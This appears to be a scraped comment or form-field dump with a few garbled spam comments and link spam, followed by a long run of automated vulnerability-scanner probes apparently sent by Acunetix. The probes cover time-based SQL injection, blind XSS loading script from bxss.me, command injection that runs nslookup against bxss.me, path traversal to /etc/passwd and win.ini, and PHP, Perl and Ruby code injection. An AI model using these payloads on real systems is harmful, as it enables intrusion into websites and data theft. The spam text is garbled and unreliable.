That's the perecft insight in a thread like this.

And I was just <a href="http://lmshxniv.com">wonneridg</a> about that too!

Your story was really inaefmrtivo, thanks! http://xsfrqreuy.com [url=http://iytfvomry.com]iytfvomry[/url] [link=http://gzcoxk.com]gzcoxk[/link]

response.write(9546945*9155618)

'+response.write(9546945*9155618)+'

"+response.write(9546945*9155618)+"

vqrSdhnX

1*1*1*1

1*1*1*1

1*1*1*1

1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=054981&r=1-3323&h=1-97be4-2&/).slice(2),document.documentElement.appendChild(s))//'>

1*1*1*1

1'>"><script src=http://bxss.me/s?u=054981&r=1-3324&h=1-97be4-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,054981,1-3324,1,97be4,%22%5D"/>

-1 OR 2+657-657-1=0+0+0+1 --

-1 OR 3+657-657-1=0+0+0+1 --

-1 OR 2+346-346-1=0+0+0+1

set|set&set

-1 OR 3+346-346-1=0+0+0+1

$(nslookup dns.ce.\054981.1-3327.1.97be4.\1.bxss.me)

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

&nslookup dns.ce.\054981.1-3329.1.97be4.\1.bxss.me&'\"`0&nslookup dns.ce.\054981.1-3329.1.97be4.\1.bxss.me&`'

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

-1; waitfor delay '0:0:6' --

-1); waitfor delay '0:0:6' --

1 waitfor delay '0:0:6' --

eFaTA9lZ'; waitfor delay '0:0:6' --

-1;select pg_sleep(9); --

-1);select pg_sleep(9); --

-1));select pg_sleep(9); --

qBMzxPkE';select pg_sleep(9); --

wRV6C2VJ');select pg_sleep(9); --

LDkRj4HC'));select pg_sleep(3); --

Vt4sJdkO

1||UTL_INADDR.get_host_address('dns.'||'sqli.054981.1-3338.1.97be4.1.bxss'||'.me')

'||UTL_INADDR.get_host_address('dns.'||'sqli.054981.1-3339.1.97be4.1.bxss'||'.me')||'

1;copy (select '') to program 'nslookup dns.sqli.\054981.1-3340.1.97be4.\1.bxss.me'

../../../../../../../../../../etc/passwd

1';copy (select '') to program 'nslookup dns.sqli.\054981.1-3341.1.97be4.\1.bxss.me

../../../../../../../../../../../../../../../proc/version

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

436'

../../../../../../../../../../etc/passwd.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

/../..//../..//../..//../..//../..//etc/passwd.jpg

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1 bcc:054981.1-3343.1.97be4.1@bxss.me

/etc/passwd

to@example.com> bcc:054981.1-3344.1.97be4.1@bxss.me

%2fetc%2fpasswd

/.././.././.././.././.././.././.././../etc/./passwd%00

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

12345'"\'\");|]*{ <>

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

..

${10000428+9999006}

file:///etc/passwd

/\../\../\../\../\../\../\../etc/passwd

WEB-INF/web.xml

/WEB-INF/web.xml

WEB-INF\web.xml

../../../../../../../../../../windows/win.ini

C:\WINDOWS\system32\drivers\etc\hosts

../../../../../../../../../../windows/win.ini.jpg

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1some_inexistent_file_with_long_name.jpg

................windowswin.ini

Http://testasp.vulnweb.com/t/fit.txt

..\..\..\..\..\..\..\..\windows\win.ini

http://testasp.vulnweb.com/t/fit.txt?.jpg

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

testasp.vulnweb.com

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

WEB-INF/web.xml

WEB-INF\web.xml

1&n927266=v994267

!(()&&!|*|*|

^(#$!@#$)(()))******

'"()

;print(md5(acunetix_wvs_security_test));

';print(md5(acunetix_wvs_security_test));$a='

";print(md5(acunetix_wvs_security_test));$a="

http://testasp.vulnweb.com/t/xss.html?%00.jpg

${@print(md5(acunetix_wvs_security_test))}

http://hitXafeGSc0eI.bxss.me/

${@print(md5(acunetix_wvs_security_test))}\

13056

1'"

13056

13056/.

1

@@X0nKu

JyI=

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/www.vulnweb.com

'"

<!--

1'"()&%<acx><ScRiPt >sjqd(9372)</ScRiPt>

'"()&%<acx><ScRiPt >sjqd(9418)</ScRiPt>

19527994

-- <a href="http://www.gvpr1k76a41w041nvf56n4c6f99b3sd9s.org/">agqpxhpgvsp</a> gqpxhpgvsp http://www.gvpr1k76a41w041nvf56n4c6f99b3sd9s.org/ [url=http://www.gvpr1k76a41w041nvf56n4c6f99b3sd9s.org/]ugqpxhpgvsp[/url]

555

555

555

555

555

pidZdb0J

-1 OR 2+125-125-1=0+0+0+1 --

-1 OR 2+132-132-1=0+0+0+1

-1' OR 2+538-538-1=0+0+0+1 --

-1' OR 2+43-43-1=0+0+0+1 or 'c93fO0Rr'='

-1" OR 2+360-360-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

1Lo0i7fL'; waitfor delay '0:0:15' --

-5 OR 940=(SELECT 940 FROM PG_SLEEP(15))--

-5) OR 290=(SELECT 290 FROM PG_SLEEP(15))--

-1)) OR 76=(SELECT 76 FROM PG_SLEEP(15))--

-1)) OR 213=(SELECT 213 FROM PG_SLEEP(15))--

t6j9Je77' OR 316=(SELECT 316 FROM PG_SLEEP(15))--

DS9La1Ne') OR 885=(SELECT 885 FROM PG_SLEEP(15))--

4O9eed3B')) OR 319=(SELECT 319 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@bgOqo

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9806659*9059940)

'+response.write(9806659*9059940)+'

"+response.write(9806659*9059940)+"

555

555

555

555

555

HKHYwlry

-1 OR 2+561-561-1=0+0+0+1 --

-1 OR 2+752-752-1=0+0+0+1

-1' OR 2+847-847-1=0+0+0+1 --

-1' OR 2+602-602-1=0+0+0+1 or 'Ly50oAX9'='

-1" OR 2+103-103-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

echo gmucvn$()\ qbcjzu\nz^xyu||a #' &echo gmucvn$()\ qbcjzu\nz^xyu||a #|" &echo gmucvn$()\ qbcjzu\nz^xyu||a #

1 waitfor delay '0:0:15' --

&echo utviwr$()\ wnmlsk\nz^xyu||a #' &echo utviwr$()\ wnmlsk\nz^xyu||a #|" &echo utviwr$()\ wnmlsk\nz^xyu||a #

uGu5Flet'; waitfor delay '0:0:15' --

|echo mbxlcj$()\ mdkhep\nz^xyu||a #' |echo mbxlcj$()\ mdkhep\nz^xyu||a #|" |echo mbxlcj$()\ mdkhep\nz^xyu||a #

-5 OR 65=(SELECT 65 FROM PG_SLEEP(15))--

(nslookup hitdukagwrnta51066.bxss.me||perl -e "gethostbyname('hitdukagwrnta51066.bxss.me')")

-5) OR 803=(SELECT 803 FROM PG_SLEEP(15))--

$(nslookup hitmnfjvnlljh7236b.bxss.me||perl -e "gethostbyname('hitmnfjvnlljh7236b.bxss.me')")

-1)) OR 215=(SELECT 215 FROM PG_SLEEP(15))--

&(nslookup hitxjdqaiuxqw93ea7.bxss.me||perl -e "gethostbyname('hitxjdqaiuxqw93ea7.bxss.me')")&'\"`0&(nslookup hitxjdqaiuxqw93ea7.bxss.me||perl -e "gethostbyname('hitxjdqaiuxqw93ea7.bxss.me')")&`'

nG6BusX3' OR 33=(SELECT 33 FROM PG_SLEEP(15))--

|(nslookup hitghoprjexbx4be46.bxss.me||perl -e "gethostbyname('hitghoprjexbx4be46.bxss.me')")

t8q4JzpK') OR 863=(SELECT 863 FROM PG_SLEEP(15))--

`(nslookup hitzwwumgtmcefc043.bxss.me||perl -e "gethostbyname('hitzwwumgtmcefc043.bxss.me')")`

KneEdOI2')) OR 797=(SELECT 797 FROM PG_SLEEP(15))--

;(nslookup hitsqxuiviqphc21ae.bxss.me||perl -e "gethostbyname('hitsqxuiviqphc21ae.bxss.me')")|(nslookup hitsqxuiviqphc21ae.bxss.me||perl -e "gethostbyname('hitsqxuiviqphc21ae.bxss.me')")&(nslookup hitsqxuiviqphc21ae.bxss.me||perl -e "gethostbyname('hitsqxuiviqphc21ae.bxss.me')")

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@mMzxQ

555

555

D7KXQ7Pr

555

555

555

555

555

../../../../../../../../../../../../../../etc/passwd

555

../../../../../../../../../../../../../../windows/win.ini

555

555

555

../555

12345'"\'\");|]*{ <>

555

555

555

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

${10000226+9999865}

555

555

555

555&n915705=v935731

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1some_inexistent_file_with_long_name.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

!(()&&!|*|*|

bxss.me

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hitlr'.'redzltwe702fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(72).chr(112).chr(74).'

".gethostbyname(lc("hitqh"."muuqkrsx8d542.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(67).chr(101).chr(69)."

555

555

555

555

555

555

555

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(122).concat(76).concat(121).concat(90)+(require"socket" Socket.gethostbyname("hitem"+"okurdygr2e56b.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(118).concat(83).concat(114).concat(68)+(require'socket' Socket.gethostbyname('hitbf'+'jmibikaf30f0d.bxss.me.')[3].to_s)+'

555

13056

555

13056

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

13056/.

';print(md5(31337));$a='

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

555

'.print(md5(31337)).'

555

555

'"

/xfs.bxss.me

<!--

555

555

555

1DRYhxpoxcO

555

555

555

555

555

555

555'"()&%<acx><ScRiPt >kApa(9644)</ScRiPt>

'"()&%<acx><ScRiPt >kApa(9404)</ScRiPt>

5559008606

555

555

555